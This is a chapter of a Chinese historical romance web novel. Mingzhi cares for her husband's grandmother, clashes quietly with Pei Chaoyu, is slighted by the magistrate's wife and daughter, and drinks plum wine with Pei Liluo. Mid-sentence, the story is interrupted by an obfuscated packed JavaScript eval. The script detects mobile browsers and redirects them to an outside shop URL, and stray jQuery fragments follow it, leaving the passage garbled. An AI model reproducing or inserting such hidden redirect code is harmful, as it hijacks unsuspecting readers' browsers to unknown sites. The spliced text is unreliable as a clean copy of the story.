“祖母。”
明枝踏进屋,柳儿刚伺候完老夫人洗漱,她便上前搀扶老夫人落座。裴朝郁慢她一步进来,脸色不佳喊了一声:“祖母。”
裴老夫人:“清早就臭着一张脸,请个早还委屈了不成。”
裴朝郁:“不是。”
他怨的是刚才自己说完话后,明枝竟然说他愿与不愿应该去和周靖宁理论!
这是愿与不愿的事!
这女人!
直抒胸臆到如此地步,还要避重就轻装傻扮糊涂!简直不可理喻!
老夫人懒得搭理他:“柳儿,给少爷冲盏去火的茶。我这屋子小,他再坐片刻非点着了不可。”
柳儿欠身:“是。”
天气阴冷,老夫人身子骨还是没适应,早起总觉着腰背酸痛,便拉着明枝的手放在肩上:“来给我按按这两边,用点力。”
裴朝郁转着杯子散漫望去,明枝唇角那抹笑意若有似无。
“当真是老了,夜里听点雨声也睡不着。下个榻的功夫,这腿脚都不利索。”
明枝拇指抵在老夫人脖颈后,柔声细语:“天气阴晴不定多少影响,不过祖母有这般精神矍铄,定是松柏之寿。等睡前明枝拿些草药来给祖母泡上一阵,夜里能好眠许多。”
老夫人拍拍她手:“还是你有心,什么事都记挂在心上。成日对着些难伺候的人,也真是委屈你了。”
裴朝郁反驳:“孙儿哪里难伺候了?”
明枝沉默不语,听见老夫人数落道:“脸板得跟木头桩子似的,你不难伺候谁难伺候?”
柳儿苦茶刚冲泡好端至裴朝郁身前,他长袖一甩,傲着头颅径直离开。
“少爷这是怎得了?”
老夫人:“不管他,他是嫌日子过得太滋润了。”
昨日之事估摸着是谈得十分顺利,周靖宁虽没在用膳时和裴朝郁提起,面容却是十分愉悦。眼神落在她这处几回,明枝对上一次笑笑了事。
用过早膳,裴朝郁闷声回屋。原是要直接去县衙的,可用膳时裴离落不小心溅了汤汁在他衣袖上,不得已要换下来。
明枝缓步在他身后,关上门取出衣服放在屏风上,伸手去解裴朝郁腰间的系带。手落下,衣物瞬间松散开。
明枝抬眼,手扬到他心口被裴朝郁握住:“你要送我的腰封,这么久了还未做好?”
明枝:“前段时间犯了懒,还有些衔接处未做封线,待做好,便送与夫君。”
将脱下的外衫挂在另一侧,明枝取下这件绛紫色青竹纹的宽袖长衫撑开。裴朝郁背身将手伸进去,又转向面对她。
裴朝郁除了两身月牙弦白的亮色衣服外,明枝没再见过其他能称之为明亮的衣服。他上身的,皆以深暗为基调。明明心情不好的时候脸就很臭,这身威严沉厉的衣服一穿,更是叫人难以靠近。
盘好系扣,明枝转身去拿了玛瑙红的腰封出来。颜色一冷一暖,衣服上点缀了些许暗红元素,正好适配。
“夫君,可抬手。”
裴朝郁身强体壮却称不上魁梧,宽阔肩膀下窄腰劲瘦,腰封一扣,那流畅的身形便立刻浮现。
明枝整理好,后退半步。
“想吃什么?晚些给你带回来。”他问。
明枝双手在腹前交叠:“不必麻烦,家中样样皆有。夫君今日可回来用晚膳?”
裴朝郁:“再看。”
他走到门口,明枝将还沾着雨珠的纸伞给他。裴朝郁握住伞柄,她便松了手。
气氛有些僵硬,彼此心知肚明。
裁制新衣需量体,老夫人这段时间消瘦了些,体量与先前有些出入,明枝量后打算亲自将尺寸送去,顺道瞧瞧买些年节礼回来,让周靖宁试试定下。
小芙撑着纸伞同她走到门口,好巧不巧,县令夫人和女儿乘坐的马车将至。在眼前停下,明枝示意小芙站到一侧。
今日来带的礼没昨日多,县令夫人脸上的笑倒是比昨日灿烂。明枝欠身行了行礼,听见她问:“明姑娘这是要出门去?”
明枝应声:“去为祖母裁衣,不便侍奉夫人,还请见谅。”
县令夫人笑得大方:“待娴儿进门你们也就是一家人,哪有什么见不见谅的,她十指不沾阳春水,往后还得谢谢你照顾!”
她说完,身后的人捂唇轻笑。明枝礼貌勾唇没言语,还未进门,那娴儿眼底对她已经有了轻视。
“娘亲,女儿记得这明氏和那狐媚子陈小荷,是一个地方出来的?”
县令夫人偏头:“岂止是一个地方,走两步便进人家院子了。”
娴儿掩唇哼一声:“不过是空有几分姿色,还真以为给人当了妾室就能改命,这穷乡僻壤出来的人,就是如此不知检点。”
窃窃私语撞进明枝耳朵里,她有些难受起来。县令美名远扬,她原以为陈小荷能有舒坦日子过,不想她的家主,竟是如此不体面的小人。
“姑娘……”
明枝反过来宽慰小芙:“我没事,走吧。”
除夕临近,街上的小摊也多了起来,几个路口转身都困难。裴离落可喜欢这个热闹劲,恨不得每天都跑出来一趟。跑得太勤也不好,她本就不富裕的小荷包很快空了下去。
她闺房里堆满了有意思的小物件,裴朝郁嫌她乱花钱,给了几次之后就收手,也不许她去书房乱翻。
送了新的尺寸到裁缝铺去,明枝在剪纸摊上给裴离落带了几张,顺便买了些馋嘴的吃食。晚膳后,她给人送了过去。
“你来了,快进来!”裴离落热情拉她进屋:“我刚才发现这个吃果脯后喝梅子酒会更好喝,还有果肉的香气在里面,你来试试!”
明枝放下剪纸:“这是给你带的,闲暇打发时间。”
裴离落嘿笑两声:“我一天可紧着忙呢!等我剪好了就贴到你屋子里去。”
“好啊。”
裴离落房中烧着炭火,她在集市上买了一个煮酒壶,不出门的时候,都躲在房间里温酒。
她倒了一杯给明枝:“来!你试试这个话梅的!”
糖霜话梅只有表皮那一圈甜,果肉是酸甜口的,明枝小口咬下半颗嚼至软烂后饮了一口酒,五味杂陈的味道四散开来。
起初是酒水的清甜,甜后混着果肉的酸涩,然后是咬舌头的辛辣刺激,她眨眨眼,很奇妙的感觉。
裴离落好奇她的感受:“怎么样?是不是味道还不错?”
明枝舔舔嘴唇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616016|203058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“说不上来,好像有什么在打我的舌头,有点疼,又有点甜。”
裴离落一口闷完一杯,豪爽放下酒杯:“就是这个味道,太美味了!待会三哥回来,我也叫他来尝尝!”
裴朝郁今天下差晚,回府的路上绕道去给明枝带了糖画。进屋没看见人,问过小芙后他寻到裴离落住处。推开门,酒气熏天。
裴离落不知道是喝了多少,整个人瘫软趴在椅子上,手里还抓着酒瓶子。明枝不是很喜欢混合的味道便没喝多,托着下巴坐在裴离落对面,眸光温柔地看着她。
开门声响,明枝转头望去,脸上笑意收敛了几分,慢慢起身喊他:“夫君。”
裴离落瞪大眼睛:“三哥你终于回来了!我跟你说今天这酒可是太好喝了,你一定要试试!”
裴朝郁推开她的手:“这是喝了多少?也不看着点。”
他这话是同照顾裴离落的下人说的,叫明枝听了去。她欠身:“落落喜饮,想来明日也无事,便由着她了,都是明枝不好。”
裴朝郁:“我不是怪你。”
“是我自己要喝的!”裴离落指责他:“三哥你成天不回家就算了!怎么一回来就要生气,凶巴巴的,你干脆住在县衙算了!”
“你还有脸说我?”
裴离落手一指:“我就说你怎么了!呕……”
她喝太多胃里突然翻江倒海起来,歪头就是一阵干呕。明枝忙伸手轻拍她的背,哄着她吐出来就好了。
裴朝郁冷声:“你别管她,成天喝酒像什么样子?”
明枝回头:“她只是在家中喝些清酒,又不是去什么烟花乱巷,更没有杀人犯法,怎么就不像样了?”
“你……”裴朝郁语塞。
“枝枝你真好,你是这世上最好的明枝……你放心,就算我三哥不要你,我裴离落这辈子,只要活一天就给你一天的荣华富贵!”
裴离落这喝多了的样子,别说,还真有几分霸道在身上。
明枝失笑:“你醉了,我扶你去床上休息。”
裴朝郁心急又愤恨:“裴离落,你不要乱说话!”
可惜,无人搭理他。
贴心照顾好裴离落,明枝叮嘱丫鬟给她备着温水,若是半夜渴醒了,好有得喝。
裴朝郁在屋外吹了片刻冷风才等到人出来,明枝笑意消散:“想必夫君今日也乏累了,回房早些歇息。”
明枝说的早点休息,是分开,各睡各的。她让小芙加了床被子独自睡在里侧,裴朝郁沐浴完毕,出来便瞧见床榻中间能睡下第三个人。
他不悦出声:“明枝。”
喝酒后明枝困得厉害,躺下没多久便睡了过去。裴朝郁喊了几声也没喊醒,负气背身躺下,念着她半夜会往自己怀里滚也没躺太远,明枝伸个手就能够到。
可他想错了,生了气的女人倔强无比,说不碰他就不碰他。裴朝郁翻来覆去一整夜,盯着明枝翻身又翻回去,就是不靠近中间那条线。
一早,明枝察觉脸颊奇痒无比,迷瞪睁眼,裴朝郁离她不过一拳的距离,神色略显疲惫。
“我……”
话还没说出口,明枝悠悠转身闭眼睡去。得,她睡了这么久,居然还没醒。